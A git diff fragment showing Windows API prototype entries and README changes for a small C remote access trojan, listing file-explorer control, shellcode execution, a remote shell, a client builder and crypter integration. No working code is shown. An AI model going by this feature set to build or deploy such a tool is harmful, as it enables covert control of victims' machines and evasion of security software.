"dll_name": "kernel32.dll", + "full_prototype": "UINT _lread(HFILE hFile, LPVOID lpBuffer, UINT uBytes);" + }, + { + "function_name": "_lwrite", + "arguments": [ + "HFILE", + "LPCSTR", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT _lwrite(HFILE hFile, LPCSTR lpBuffer, UINT uBytes);" + } +] \ No newline at end of file diff --git a/readme.md b/readme.md index bb34836..9d33a9d 100644 --- a/readme.md +++ b/readme.md @@ -9,9 +9,10 @@ A very simple RAT I created for fun.
* File explorer (download/upload/remove/execute) * Shellcode execution * Server builder supports [patate-crypter](https://github.com/ALittlePatate/patate-crypter) inetgration +* [pasm](https://github.com/ALittlePatate/patate-crypter) integration in the agent ## Characteristics -* Small (17ko) (can go lower) +* Small (26ko) * Made in C, no CRT * x32 bit * Dynamic API resolving @@ -32,11 +33,15 @@ A very simple RAT I created for fun.
* Can build the client * File explorer GUI (upload/download/remove/execute) * Remote shell GUI +* PASM code editor
TODO * Dark theme +* colors in IDE +* lines number in IDE +* close warning in IDE * Plugins support
@@ -44,4 +49,5 @@ A very simple RAT I created for fun.
![Alt text](Screenshots/main_menu.png "main menu") ![Alt text](Screenshots/builder.png "builder") ![Alt text](Screenshots/shell.png "shell") -![Alt text](Screenshots/fex.png "file explorer") \ No newline at end of file +![Alt text](Screenshots/fex.png "file explorer") +![Alt text](Screenshots/pasm_editor.png "pasm editor") \ No newline at end of file